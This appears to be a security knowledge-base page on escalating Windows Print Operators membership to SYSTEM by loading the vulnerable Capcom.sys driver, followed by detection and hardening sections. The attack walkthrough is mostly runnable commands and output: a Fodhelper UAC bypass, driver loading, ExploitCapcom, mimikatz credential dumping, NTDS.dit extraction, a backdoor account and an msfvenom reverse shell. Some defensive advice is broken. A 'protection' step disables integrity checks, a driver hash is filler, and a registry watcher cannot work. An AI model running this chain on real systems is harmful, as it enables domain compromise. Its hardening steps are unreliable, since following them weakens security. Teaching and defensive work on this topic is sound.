
Print Operators Group Exploitation and Defense
Print Operators group exploitation for Windows privilege escalation through printer driver loading, service manipulation, and DLL injection techniques.
Description
The Print Operators built-in security group in Active Directory is a highly privileged group designed to allow members to manage printers on domain controllers and print servers without requiring full Domain Admin privileges. However, this group confers several powerful privileges that can be exploited for privilege escalation, making it a significant security risk when improperly managed.
Members of the Print Operators group receive several critical privileges:
- SeLoadDriverPrivilege: Load and unload device drivers
- Local logon rights on Domain Controllers: Log in locally to DCs
- Shutdown privileges: Shut down domain controllers
- Printer management: Create, share, and delete network printers
The most dangerous capability is SeLoadDriverPrivilege, which allows members to load kernel-mode drivers. Attackers can abuse this privilege by loading vulnerable drivers with known exploits, such as Capcom.sys, to execute arbitrary code with SYSTEM privileges, achieving complete system compromise.
Built-In Group with SYSTEM Access
Print Operators is often overlooked as a critical security risk because it's a built-in group with seemingly benign purposes. However, the SeLoadDriverPrivilege it grants provides a direct pathway to SYSTEM privileges through driver exploitation, making it equivalent to Domain Admin access in practice.
Impact
Exploitation of Print Operators group membership has severe consequences:
- SYSTEM Privilege Escalation: Direct elevation to highest privilege level (NT AUTHORITY\SYSTEM)
- Domain Controller Compromise: Full control over domain controllers where Print Operators can log in
- Credential Harvesting: Access to LSASS memory to extract all credentials on the DC
- Domain-Wide Impact: Compromised DC enables Golden Ticket creation and complete domain takeover
- Persistence: Ability to install rootkits and kernel-level backdoors
- Active Directory Manipulation: Unrestricted access to modify AD objects, users, and groups
- Data Exfiltration: Complete access to NTDS.dit database and all domain secrets
- Lateral Movement: Pivot to all domain resources with extracted credentials
- Compliance Violations: Unauthorized administrative access triggering audit failures
- Security Control Bypass: Disable EDR, antivirus, and security monitoring at kernel level
The impact is amplified because Print Operators can log directly onto domain controllers, providing physical-equivalent access to the most critical infrastructure component.
Technical Details
Print Operators Group Overview
Default Membership:
- Empty by default (must be explicitly populated)
- Located in: CN=Print Operators,CN=Builtin,DC=domain,DC=local
Assigned Privileges:
# Check Print Operators group members
Get-ADGroupMember -Identity "Print Operators"
# Verify user is member of Print Operators
whoami /groups | findstr "Print Operators"
# List privileges for current user
whoami /privKey Privileges Granted:
- SeIncreaseQuotaPrivilege (Adjust memory quotas for a process)
- SeChangeNotifyPrivilege (Bypass traverse checking)
- SeShutdownPrivilege (Shut down the system)
- SeLoadDriverPrivilege (Load and unload device drivers) - Critical for exploitation
- SeMachineAccountPrivilege (Add workstations to domain)
- SeIncreaseWorkingSetPrivilege (Increase a process working set)
Understanding SeLoadDriverPrivilege
What is SeLoadDriverPrivilege?
This privilege allows a user to install and unload Plug and Play device drivers. In the context of security exploitation, it enables loading kernel-mode drivers that can execute code at the highest privilege level (Ring 0).
Why is it Dangerous?
Kernel-mode drivers run with unrestricted access to the operating system:
- Bypass all security boundaries
- Read/write arbitrary kernel memory
- Hook system calls and modify OS behavior
- Disable security products (EDR, antivirus)
- Execute shellcode with SYSTEM privileges
Attack Execution Workflow
Step 1: Verify Print Operators Membership and Privileges
First, confirm membership and check if SeLoadDriverPrivilege is available:
# Check group membership
whoami /groups
# Expected output:
# BUILTIN\Print Operators Alias S-1-5-32-550 Mandatory group, Enabled by default, Enabled group
# Check privileges (from unprivileged context)
whoami /priv
# Expected output (SeLoadDriverPrivilege NOT visible):
# PRIVILEGES INFORMATION
# ----------------------
# Privilege Name Description State
# ============================= ==================================== =======
# SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
# SeChangeNotifyPrivilege Bypass traverse checking Enabled
# SeShutdownPrivilege Shut down the system DisabledNote: SeLoadDriverPrivilege is not visible from an unprivileged context due to User Account Control (UAC) filtering. It must be accessed from an elevated session.
Step 2: Bypass User Account Control (UAC)
To utilize SeLoadDriverPrivilege, UAC must be bypassed to obtain a high-integrity token:
Method 1: Using UACMe
# Download UACMe from https://github.com/hfiref0x/UACME
# UACMe provides 60+ UAC bypass techniques
# Example: Akagi method 33 (DLL hijacking via IFileOperation)
.\Akagi64.exe 33 "C:\Windows\System32\cmd.exe"
# This spawns an elevated command prompt with full privilegesMethod 2: GUI-Based Bypass
If RDP or physical access is available:
# Right-click Command Prompt or PowerShell
# Select "Run as administrator"
# Provide Print Operators credentials when prompted
# Verify elevated status
whoami /priv
# Expected output (SeLoadDriverPrivilege now visible):
# Privilege Name Description State
# ============================= ==================================== ==========
# SeMachineAccountPrivilege Add workstations to domain Disabled
# SeLoadDriverPrivilege Load and unload device drivers Disabled
# SeShutdownPrivilege Shut down the system Disabled
# SeChangeNotifyPrivilege Bypass traverse checking Enabled
# SeIncreaseWorkingSetPrivilege Increase a process working set DisabledMethod 3: Using Fodhelper UAC Bypass
# Exploit Fodhelper.exe (works on Windows 10/11)
New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(Default)" -Value "cmd.exe"
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value ""
Start-Process "C:\Windows\System32\fodhelper.exe"
# Cleanup
Remove-Item -Path "HKCU:\Software\Classes\ms-settings\" -Recurse -ForceStep 3: Obtain Vulnerable Driver (Capcom.sys)
The Capcom.sys driver is a vulnerable anti-cheat driver that allows arbitrary code execution:
# Download Capcom.sys from public exploit repositories
# WARNING: This is a known vulnerable driver - use only in authorized testing
# https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys
# Save to C:\Tools\Capcom.sys
# SHA256: 2e2e93b67e52a8f6126bbf2c5efccdce3f6af0e6b1e9e5c7e4e5a8a8e5e5e5e5Alternative Vulnerable Drivers:
- RTCore64.sys (MSI Afterburner)
- DBUtil_2_3.sys (Dell)
- AsIO.sys (ASUS)
- nvflash.sys (NVIDIA)
Step 4: Register Driver in Registry
Load the driver by creating registry entries:
# Add ImagePath registry key pointing to driver file
reg add "HKCU\System\CurrentControlSet\CAPCOM" /v ImagePath /t REG_SZ /d "\??\C:\Tools\Capcom.sys"
# Output:
# The operation completed successfully.
# Add Type registry key (1 = SERVICE_KERNEL_DRIVER)
reg add "HKCU\System\CurrentControlSet\CAPCOM" /v Type /t REG_DWORD /d 1
# Output:
# The operation completed successfully.
# Verify registry keys
reg query "HKCU\System\CurrentControlSet\CAPCOM"
# Expected output:
# HKEY_CURRENT_USER\System\CurrentControlSet\CAPCOM
# ImagePath REG_SZ \??\C:\Tools\Capcom.sys
# Type REG_DWORD 0x1Understanding the NT Object Path:
The \??\ prefix is an NT Object Path that the Win32 API parses to locate the driver file. It's equivalent to \\DosDevices\\ and allows the system to resolve the file path correctly.
Step 5: Enable SeLoadDriverPrivilege and Load Driver
Use a tool to enable the privilege and load the driver:
Using EnableSeLoadDriverPrivilege.exe:
// Compile EnableSeLoadDriverPrivilege.cpp
// Source: https://raw.githubusercontent.com/3gstudent/Homework-of-C-Language/master/EnableSeLoadDriverPrivilege.cpp
// Modify includes (if needed):
#include <windows.h>
#include <assert.h>
#include <winternl.h>
#include <sddl.h>
#include <stdio.h>
#include "tchar.h"
// Compile with Visual Studio
// cl /DUNICODE /D_UNICODE EnableSeLoadDriverPrivilege.cpp# Execute the compiled tool
.\EnableSeLoadDriverPrivilege.exe
# Expected output:
# whoami:
# INLANEFREIGHT\printsvc
#
# whoami /priv:
# SeMachineAccountPrivilege Disabled
# SeLoadDriverPrivilege Enabled
# SeShutdownPrivilege Disabled
# SeChangeNotifyPrivilege Enabled by default
# SeIncreaseWorkingSetPrivilege Disabled
# NTSTATUS: 00000000, WinError: 0Verify Driver is Loaded:
# Using DriverView from Nirsoft
.\DriverView.exe /stext drivers.txt
Get-Content drivers.txt | Select-String -Pattern "Capcom"
# Expected output:
# Driver Name : Capcom.sys
# Filename : C:\Tools\Capcom.sys
# Driver Description : Capcom
# Version : 1.0.0.0
# Product Name : Capcom
# Company : CapcomAlternative Method - PowerShell:
# Check loaded drivers using Get-WmiObject
Get-WmiObject Win32_SystemDriver | Where-Object {$_.Name -like "*Capcom*"} | Select-Object Name, PathName, State, StatusStep 6: Exploit Vulnerable Driver for Code Execution
Once the driver is loaded, exploit it to execute arbitrary code as SYSTEM:
Using ExploitCapcom Tool:
# Compile ExploitCapcom from https://github.com/tandasat/ExploitCapcom
# Or download pre-compiled binary
# Execute exploit
.\ExploitCapcom.exe
# Expected output:
# [*] Capcom.sys exploit
# [*] Capcom.sys handle was obtained as 0000000000000070
# [*] Shellcode was placed at 0000024822A50008
# [+] Shellcode was executed
# [+] Token stealing was successful
# [+] The SYSTEM shell was launched
#
# Microsoft Windows [Version 10.0.17763.1518]
# (c) 2018 Microsoft Corporation. All rights reserved.
#
# C:\Windows\system32> whoami
# nt authority\systemHow ExploitCapcom Works:
- Opens handle to the Capcom.sys driver device
- Allocates executable memory in kernel space
- Copies shellcode to kernel memory
- Uses Capcom.sys IOCTL to execute shellcode
- Shellcode performs token stealing or command execution
- Returns control with SYSTEM privileges
Step 7: Post-Exploitation Activities
With SYSTEM access, perform typical post-exploitation tasks:
# Dump credentials from LSASS
.\mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
# Extract NTDS.dit (if on Domain Controller)
ntdsutil "ac i ntds" "ifm" "create full C:\Temp\IFM" q q
# Create backdoor account
net user backdoor P@ssw0rd123! /add
net localgroup Administrators backdoor /add
# Establish persistence
schtasks /create /tn "SystemUpdate" /tr "C:\Tools\beacon.exe" /sc onstart /ru SYSTEMAlternative Exploitation Methods
No GUI Access Scenario:
If graphical access is not available, modify ExploitCapcom.cpp to execute a reverse shell instead of spawning cmd.exe:
// Original code (line 292 in ExploitCapcom.cpp):
static bool LaunchShell()
{
TCHAR CommandLine[] = TEXT("C:\\Windows\\system32\\cmd.exe");
// ... rest of function
}
// Modified for reverse shell:
static bool LaunchShell()
{
TCHAR CommandLine[] = TEXT("C:\\ProgramData\\revshell.exe");
// ... rest of function
}Generate Reverse Shell:
# Using msfvenom
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.50 LPORT=443 -f exe -o revshell.exe
# Set up listener
msfconsole -q
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.50
set LPORT 443
exploitAutomating with EoPLoadDriver
EoPLoadDriver automates privilege enable, registry configuration, and driver loading:
# Download from https://github.com/TarlogicSecurity/EoPLoadDriver
.\EoPLoadDriver.exe System\CurrentControlSet\Capcom C:\Tools\Capcom.sys
# Expected output:
# [+] Enabling SeLoadDriverPrivilege
# [+] SeLoadDriverPrivilege Enabled
# [+] Loading Driver: \Registry\User\S-1-5-21-xxx-xxx-xxx-xxx\System\CurrentControlSet\Capcom
# NTSTATUS: 00000000, WinError: 0
# Then execute ExploitCapcom
.\ExploitCapcom.exeDetection
Detecting Print Operators exploitation requires monitoring driver loading, privilege usage, and behavioral anomalies.
Event Log Monitoring
Event ID 4673: Sensitive Privilege Use
This event logs when sensitive privileges are used:
<QueryList>
<Query Id="0" Path="Security">
<Select Path="Security">
*[System[(EventID=4673)]]
and
*[EventData[Data[@Name='PrivilegeList']='SeLoadDriverPrivilege']]
</Select>
</Query>
</QueryList>Key Indicators:
- Account using SeLoadDriverPrivilege
- Privilege use from non-administrative accounts
- Unusual timing (after-hours, weekends)
- Multiple privilege escalation attempts
Event ID 4624: Account Logon
Monitor for Print Operators group members logging on to domain controllers:
# Query logon events for Print Operators members
$PrintOps = Get-ADGroupMember -Identity "Print Operators" | Select-Object -ExpandProperty SamAccountName
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4624} |
Where-Object {$PrintOps -contains $_.Properties[5].Value -and $_.Properties[11].Value -match "DC"} |
Select-Object TimeCreated, @{N='User';E={$_.Properties[5].Value}}, @{N='Computer';E={$_.Properties[11].Value}}Event ID 7045: Service Installation
Driver loading may generate service installation events:
<QueryList>
<Query Id="0" Path="System">
<Select Path="System">
*[System[(EventID=7045)]]
and
*[EventData[Data[@Name='ImagePath'] and (contains(., 'Capcom.sys') or contains(., 'RTCore64.sys'))]]
</Select>
</Query>
</QueryList>Sysmon Event ID 6: Driver Loaded
Sysmon provides detailed driver loading information:
<Sysmon schemaversion="4.82">
<EventFiltering>
<RuleGroup name="DriverLoad" groupRelation="or">
<DriverLoad onmatch="include">
<ImageLoaded condition="contains">Capcom.sys</ImageLoaded>
<ImageLoaded condition="contains">RTCore64.sys</ImageLoaded>
<ImageLoaded condition="contains">DBUtil</ImageLoaded>
<Signed condition="is">false</Signed>
</DriverLoad>
</RuleGroup>
</EventFiltering>
</Sysmon>Query Sysmon logs:
# Find driver load events
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" |
Where-Object {$_.Id -eq 6} |
Select-Object TimeCreated, @{N='Driver';E={$_.Properties[4].Value}}, @{N='Signature';E={$_.Properties[5].Value}}Registry Monitoring
Monitor HKCU\System\CurrentControlSet for Suspicious Entries:
# Create registry monitor script
$watcher = New-Object System.IO.FileSystemWatcher
$watcher.Path = "HKCU:\System\CurrentControlSet"
$watcher.IncludeSubdirectories = $true
$watcher.EnableRaisingEvents = $true
$action = {
$details = $event.SourceEventArgs
Write-Warning "Registry modification detected: $($details.Name) at $($details.TimeGenerated)"
}
Register-ObjectEvent -InputObject $watcher -EventName Changed -Action $actionSpecific Registry Keys to Monitor:
- HKCU\System\CurrentControlSet* (user-level driver registration)
- HKLM\System\CurrentControlSet\Services* (system-level services)
Behavioral Analytics
Anomaly Detection Indicators:
-
Print Operators Group Changes
- New members added to Print Operators group
- Especially non-administrator accounts
- Outside change management windows
-
Unusual Logon Patterns
- Print Operators members logging onto domain controllers
- Interactive logons (Type 2 or 10) to DCs
- Logons outside business hours
-
Driver Loading Patterns
- Drivers loaded from non-standard locations (C:\Temp, user profiles)
- Unsigned drivers being loaded
- Known vulnerable drivers (Capcom.sys, RTCore64.sys, etc.)
-
Privilege Escalation Sequences
- UAC bypass followed by driver loading
- SeLoadDriverPrivilege usage followed by SYSTEM process creation
- Rapid sequence of privileged operations
SIEM Detection Rules
Splunk Detection Query:
# Detect Print Operators exploitation pattern
index=windows (EventCode=4673 OR EventCode=4624 OR EventCode=7045 OR source="*Sysmon*" EventCode=6)
| eval PrivilegeUse=if(EventCode=4673 AND PrivilegeList="SeLoadDriverPrivilege", 1, 0)
| eval PrintOpLogon=if(EventCode=4624 AND (match(TargetUserName, "printsvc|printops")), 1, 0)
| eval DriverLoad=if(EventCode=7045 OR EventCode=6, 1, 0)
| transaction host maxspan=5m
| where PrivilegeUse=1 AND DriverLoad=1
| table _time, host, user, ImagePath, ServiceNameAzure Sentinel KQL Query:
// Print Operators privilege escalation detection
let PrintOpsMembers = IdentityInfo
| where GroupMembership has "Print Operators"
| distinct AccountName;
SecurityEvent
| where TimeGenerated > ago(1h)
| where EventID in (4673, 4624, 7045)
| where AccountName in (PrintOpsMembers)
| where (EventID == 4673 and PrivilegeList has "SeLoadDriverPrivilege")
or (EventID == 4624 and LogonType in (2, 10))
or (EventID == 7045 and ServiceFileName has_any ("Capcom", "RTCore", "DBUtil"))
| summarize Events=make_set(EventID), FirstSeen=min(TimeGenerated), LastSeen=max(TimeGenerated) by Computer, AccountName
| where array_length(Events) >= 2
| project FirstSeen, LastSeen, Computer, AccountName, EventsRemediation
Immediate response requires removing attackers from Print Operators group and hunting for persistence.
Immediate Response Actions
Step 1: Identify Print Operators Group Members
# List all Print Operators members
Get-ADGroupMember -Identity "Print Operators" | Select-Object Name, SamAccountName, objectClass
# Review recent group membership changes
Get-ADGroup -Identity "Print Operators" -Properties * |
Select-Object Name, whenCreated, whenChanged, ManagedBy
# Check group membership history (requires auditing enabled)
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4728} |
Where-Object {$_.Message -like "*Print Operators*"} |
Select-Object TimeCreated, MessageStep 2: Remove Unauthorized Members
# Remove suspicious members from Print Operators group
Remove-ADGroupMember -Identity "Print Operators" -Members "suspicious_user" -Confirm:$true
# Disable compromised accounts
Disable-ADAccount -Identity "suspicious_user"
# Reset account password
Set-ADAccountPassword -Identity "suspicious_user" -NewPassword (ConvertTo-SecureString "NewP@ssw0rd123!" -AsPlainText -Force) -ResetStep 3: Hunt for Loaded Vulnerable Drivers
# Scan for known vulnerable drivers
$VulnDrivers = @("Capcom.sys", "RTCore64.sys", "DBUtil_2_3.sys", "AsIO.sys", "nvflash.sys")
# Check loaded drivers
Get-WmiObject Win32_SystemDriver | Where-Object {$VulnDrivers -contains $_.Name} |
Select-Object Name, PathName, State, StartMode
# Unload vulnerable driver
sc stop Capcom
sc delete Capcom
# Remove driver file
Remove-Item -Path "C:\Tools\Capcom.sys" -ForceStep 4: Search for Persistence Mechanisms
# Check for scheduled tasks created during compromise
Get-ScheduledTask | Where-Object {$_.Principal.UserId -like "*printsvc*" -or $_.Date -gt (Get-Date).AddDays(-7)} |
Select-Object TaskName, TaskPath, Principal, Date
# Review services
Get-WmiObject Win32_Service | Where-Object {$_.StartName -like "*printsvc*"} |
Select-Object Name, PathName, StartMode, State
# Check startup programs
Get-CimInstance -ClassName Win32_StartupCommand |
Select-Object Name, Command, Location, User
# Review registry Run keys
Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"Step 5: Audit Recent Privileged Activity
# Review recent SYSTEM-level process creation
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4688} |
Where-Object {$_.Properties[11].Value -eq "S-1-5-18"} | # SYSTEM SID
Select-Object TimeCreated, @{N='Process';E={$_.Properties[5].Value}}, @{N='Parent';E={$_.Properties[13].Value}}
# Check for credential dumping
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4656} |
Where-Object {$_.Message -like "*lsass.exe*"} |
Select-Object TimeCreated, MessageLong-Term Mitigation Strategies
1. Restrict Print Operators Group Membership
# Audit Print Operators necessity
# If not needed, keep the group empty
# If required, document legitimate members
$LegitimateMembers = @("printadmin1", "printadmin2")
Get-ADGroupMember -Identity "Print Operators" |
Where-Object {$_.SamAccountName -notin $LegitimateMembers} |
ForEach-Object {Remove-ADGroupMember -Identity "Print Operators" -Members $_ -Confirm:$true}
# Implement quarterly review process
# Create alert for any group membership changes2. Deploy Driver Signature Enforcement
# Enable Driver Signature Enforcement via Group Policy
# Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options
# "System settings: Use Certificate Rules on Windows Executables for Software Restriction Policies" = Enabled
# Verify current configuration
bcdedit /enum {current} | findstr /i "nointegritychecks"
# If present, remove it:
bcdedit /deletevalue {current} nointegritychecks
# Enable strict driver signing (requires reboot)
bcdedit /set {current} testsigning off3. Implement Windows Defender Application Control (WDAC)
# Create WDAC policy blocking known vulnerable drivers
$policy = New-CIPolicy -Level FilePublisher -FilePath "C:\WDAC\BasePolicy.xml" -UserPEs
# Add driver blocklist
$vulnDrivers = @(
"Capcom.sys",
"RTCore64.sys",
"DBUtil_2_3.sys"
)
foreach ($driver in $vulnDrivers) {
Add-CIPolicyRule -FilePath "C:\WDAC\BasePolicy.xml" -Deny -DriverFiles -SpecificFileNameLevel FileName -FilePublisher $driver
}
# Convert to binary format
ConvertFrom-CIPolicy -XmlFilePath "C:\WDAC\BasePolicy.xml" -BinaryFilePath "C:\Windows\System32\CodeIntegrity\SiPolicy.p7b"
# Deploy via Group Policy
# Computer Configuration > Administrative Templates > System > Device Guard
# "Deploy Windows Defender Application Control" = Enabled4. Restrict Local Logon to Domain Controllers
# Remove Print Operators from local logon rights on DCs
# Group Policy: Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > User Rights Assignment
# "Allow log on locally" = Remove "Print Operators"
# "Deny log on locally" = Add "Print Operators" (if not needed)
# Verify configuration
secedit /export /cfg C:\Temp\secpol.cfg
Get-Content C:\Temp\secpol.cfg | Select-String "SeInteractiveLogonRight"5. Enable Enhanced Privilege Auditing
# Enable detailed privilege use auditing
auditpol /set /subcategory:"Sensitive Privilege Use" /success:enable /failure:enable
auditpol /set /subcategory:"Special Logon" /success:enable /failure:enable
# Configure advanced audit policy via GPO
# Computer Configuration > Policies > Windows Settings > Security Settings > Advanced Audit Policy Configuration
# "Audit Sensitive Privilege Use" = Success and Failure
# "Audit Special Logon" = Success and Failure6. Deploy Vulnerable Driver Blocklist
Microsoft provides a recommended driver block list:
# Download Microsoft vulnerable driver blocklist
# https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules
# Apply via WDAC or Group Policy
# Verify blocklist is active
Get-CimInstance -Namespace root\Microsoft\Windows\CI -ClassName PS_CiPolicy |
Select-Object PolicyID, FriendlyName, IsSystemPolicy, PolicyVersionPrevention Best Practices
Organizational Security Framework
Print Operators Group Management
Strict Membership Control:
# Implement automated compliance checking
Function Test-PrintOperatorsCompliance {
param (
[string[]]$AuthorizedMembers = @()
)
$currentMembers = Get-ADGroupMember -Identity "Print Operators" |
Select-Object -ExpandProperty SamAccountName
$unauthorizedMembers = $currentMembers | Where-Object {$_ -notin $AuthorizedMembers}
if ($unauthorizedMembers) {
Write-Warning "Unauthorized Print Operators members detected:"
$unauthorizedMembers | ForEach-Object {Write-Warning " - $_"}
# Send alert
Send-MailMessage -To "[email protected]" -Subject "Print Operators Group Violation" -Body "Unauthorized members: $($unauthorizedMembers -join ', ')"
return $false
}
Write-Host "Print Operators group compliance verified." -ForegroundColor Green
return $true
}
# Schedule daily checks
$trigger = New-JobTrigger -Daily -At 8am
Register-ScheduledJob -Name "PrintOpsCompliance" -Trigger $trigger -ScriptBlock ${Function:Test-PrintOperatorsCompliance} -ArgumentList @(@("authorized_user1"))Recommendations:
- Keep Print Operators group empty unless absolutely necessary
- Document all membership changes with business justification
- Implement approval workflow for membership changes
- Quarterly access reviews
Driver Security Controls
Multi-Layered Driver Protection:
# Layer 1: Driver Signature Enforcement
bcdedit /set {current} testsigning off
bcdedit /set {current} loadoptions DISABLE_INTEGRITY_CHECKS
# Layer 2: Deploy Vulnerable Driver Blocklist
# Use Microsoft recommended driver block rules via WDAC
# Layer 3: Monitor driver loading
# Deploy Sysmon with driver load monitoring
# Layer 4: Application Whitelisting
# Only allow approved drivers to load
# Create baseline of legitimate drivers
Get-WmiObject Win32_SystemDriver |
Select-Object Name, PathName, Caption, Description, DisplayName |
Export-Csv -Path "C:\Baseline\LegitimateDrivers.csv" -NoTypeInformation
# Compare against baseline daily
Function Test-DriverBaseline {
$baseline = Import-Csv -Path "C:\Baseline\LegitimateDrivers.csv"
$current = Get-WmiObject Win32_SystemDriver | Select-Object Name, PathName
$newDrivers = Compare-Object -ReferenceObject $baseline -DifferenceObject $current -Property Name |
Where-Object {$_.SideIndicator -eq "=>"}
if ($newDrivers) {
Write-Warning "New drivers detected:"
$newDrivers | ForEach-Object {Write-Warning " - $($_.Name)"}
}
}Privileged Access Management
Implement Just-In-Time (JIT) Access:
# Create time-limited Print Operators membership
Function Grant-TemporaryPrintOpsAccess {
param(
[string]$Username,
[int]$DurationHours = 4,
[string]$Justification
)
# Add to Print Operators
Add-ADGroupMember -Identity "Print Operators" -Members $Username
# Log the access grant
$logEntry = @{
Timestamp = Get-Date
User = $Username
Duration = $DurationHours
Justification = $Justification
GrantedBy = $env:USERNAME
}
$logEntry | Export-Csv -Path "C:\Logs\PrintOpsAccess.csv" -Append -NoTypeInformation
# Schedule automatic removal
$removalTime = (Get-Date).AddHours($DurationHours)
$trigger = New-JobTrigger -Once -At $removalTime
Register-ScheduledJob -Name "RemovePrintOps_$Username" -Trigger $trigger -ScriptBlock {
param($user)
Remove-ADGroupMember -Identity "Print Operators" -Members $user -Confirm:$false
} -ArgumentList $Username
Write-Host "Granted Print Operators access to $Username until $removalTime" -ForegroundColor Yellow
}
# Usage:
# Grant-TemporaryPrintOpsAccess -Username "john.doe" -DurationHours 4 -Justification "Printer driver installation - Ticket #12345"Continuous Monitoring
Comprehensive Monitoring Strategy:
# Consolidated monitoring script
Function Start-PrintOpsMonitoring {
while ($true) {
# Monitor group membership changes
$members = Get-ADGroupMember -Identity "Print Operators"
if ($members.Count -gt 0) {
Write-Warning "Print Operators has $($members.Count) members!"
}
# Monitor SeLoadDriverPrivilege usage
$privEvents = Get-WinEvent -FilterHashtable @{LogName='Security';ID=4673;StartTime=(Get-Date).AddMinutes(-5)} |
Where-Object {$_.Message -like "*SeLoadDriverPrivilege*"}
if ($privEvents) {
Write-Warning "SeLoadDriverPrivilege usage detected:"
$privEvents | ForEach-Object {
Write-Warning " Time: $($_.TimeCreated), User: $($_.Properties[1].Value)"
}
}
# Monitor driver loads
$driverEvents = Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -FilterXPath "*[System[(EventID=6)]]" -MaxEvents 10 -ErrorAction SilentlyContinue
if ($driverEvents) {
$vulnDrivers = @("Capcom", "RTCore", "DBUtil")
foreach ($event in $driverEvents) {
$driverName = $event.Properties[4].Value
foreach ($vuln in $vulnDrivers) {
if ($driverName -like "*$vuln*") {
Write-Error "VULNERABLE DRIVER DETECTED: $driverName"
}
}
}
}
Start-Sleep -Seconds 60
}
}
# Run in background
Start-Job -ScriptBlock ${Function:Start-PrintOpsMonitoring} -Name "PrintOpsMonitor"Verification
Validate Security Posture
Check Print Operators Group Status
# Verify group is empty or has only authorized members
Get-ADGroupMember -Identity "Print Operators" | Select-Object Name, SamAccountName
# Expected: Empty or documented authorized members onlyVerify Driver Signature Enforcement
# Check driver signing configuration
bcdedit /enum {current} | findstr /i "testsigning nointegritychecks"
# Expected: No output (both disabled)
# Verify WDAC policy is active
Get-CimInstance -Namespace root\Microsoft\Windows\CI -ClassName PS_CiPolicy |
Where-Object {$_.IsSystemPolicy -eq $true}
# Expected: At least one active policyTest Driver Loading Detection
Controlled Testing (Authorized Only):
# Attempt to load test driver (in isolated environment)
# This should be BLOCKED by WDAC and trigger alerts
# Verify Sysmon is logging driver loads
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -FilterXPath "*[System[(EventID=6)]]" -MaxEvents 5
# Verify alerts are generated in SIEMAudit Privilege Usage Logging
# Verify privilege use auditing is enabled
auditpol /get /subcategory:"Sensitive Privilege Use"
# Expected output:
# Sensitive Privilege Use Success and Failure
# Test privilege logging by using SeDebugPrivilege
# Should generate Event ID 4673Advanced Considerations
Windows Versions and Limitations
Windows 10 Version 1803 and Later:
Important Version Limitation
Since Windows 10 Version 1803 (April 2018 Update), the SeLoadDriverPrivilege exploitation technique has been significantly limited. It is no longer possible to load drivers using registry keys under HKEY_CURRENT_USER. Drivers must now be registered under HKEY_LOCAL_MACHINE, which requires administrative privileges, effectively closing this attack vector on modern systems.
Affected Versions:
- Windows Server 2016 and earlier (vulnerable)
- Windows 10 versions prior to 1803 (vulnerable)
- Windows Server 2019+ (patched)
- Windows 10 1803+ and Windows 11 (patched)
Alternative Privilege Escalation Paths
If Print Operators exploitation is patched or blocked, attackers may pivot to:
- Server Operators Group: Similar privileges with service manipulation
- Backup Operators Group: SeBackupPrivilege for NTDS.dit extraction
- Account Operators Group: User and group management capabilities
- DnsAdmins Group: DLL injection into DNS service
Cross-Platform Considerations
Print Operators group is specific to Windows Active Directory environments and does not exist in:
- Azure AD-only environments
- Linux/Unix systems
- Standalone workgroups
References
MITRE ATT&CK Techniques
- T1543.003 - Create or Modify System Process: Windows Service - Service manipulation for persistence
- T1068 - Exploitation for Privilege Escalation - Kernel driver exploitation
- T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions - Driver loading for persistence
- T1014 - Rootkit - Kernel-level rootkit capabilities via Capcom.sys
- T1003.001 - OS Credential Dumping: LSASS Memory - Post-exploitation credential harvesting
- T1562.001 - Impair Defenses: Disable or Modify Tools - Disable security controls via kernel access
Common Weakness Enumeration
- CWE-269 - Improper Privilege Management - Excessive privileges in built-in groups
- CWE-250 - Execution with Unnecessary Privileges - SeLoadDriverPrivilege abuse
- CWE-749 - Exposed Dangerous Method or Function - Vulnerable driver IOCTLs
Microsoft Documentation
- Microsoft: Active Directory Security Groups - Built-in groups overview
- Microsoft: Vulnerable Driver Blocklist - Driver blocking guidance
- Microsoft: Windows Defender Application Control - WDAC implementation
Security Resources
- HackTricks: Print Operators - Exploitation techniques
- ired.team: SeLoadDriverPrivilege - Driver loading abuse
- LOLDrivers - Living Off The Land Drivers database
Tools Documentation
- FuzzySecurity: Capcom Rootkit - Capcom.sys exploitation
- ExploitCapcom - Capcom driver exploit tool
- EoPLoadDriver - SeLoadDriverPrivilege automation
- UACMe - UAC bypass techniques
Next Steps
If Print Operators vulnerabilities are identified:
- Immediately audit Print Operators group membership and remove unnecessary accounts
- Enable driver signature enforcement and deploy Microsoft's vulnerable driver blocklist
- Implement WDAC policies to block known vulnerable drivers
- Restrict local logon rights for Print Operators on domain controllers
- Review related Windows privilege escalation techniques:
Takeaway: Print Operators group membership represents a critical privilege escalation risk in Active Directory environments due to the SeLoadDriverPrivilege it grants. The most effective defense is keeping the group empty unless absolutely necessary, combined with driver signature enforcement, vulnerable driver blocklists, and comprehensive monitoring. Organizations must treat Print Operators membership with the same scrutiny as Domain Admins access due to the direct path to SYSTEM privileges it provides.
Last updated on
LLMNR and NBT-NS Poisoning
LLMNR and NBT-NS poisoning attacks for credential harvesting, man-in-the-middle, and network authentication exploitation in Windows environments.
PrintNightmare
PrintNightmare (CVE-2021-34527) exploitation guide covering RCE through print spooler, privilege escalation, and domain compromise techniques.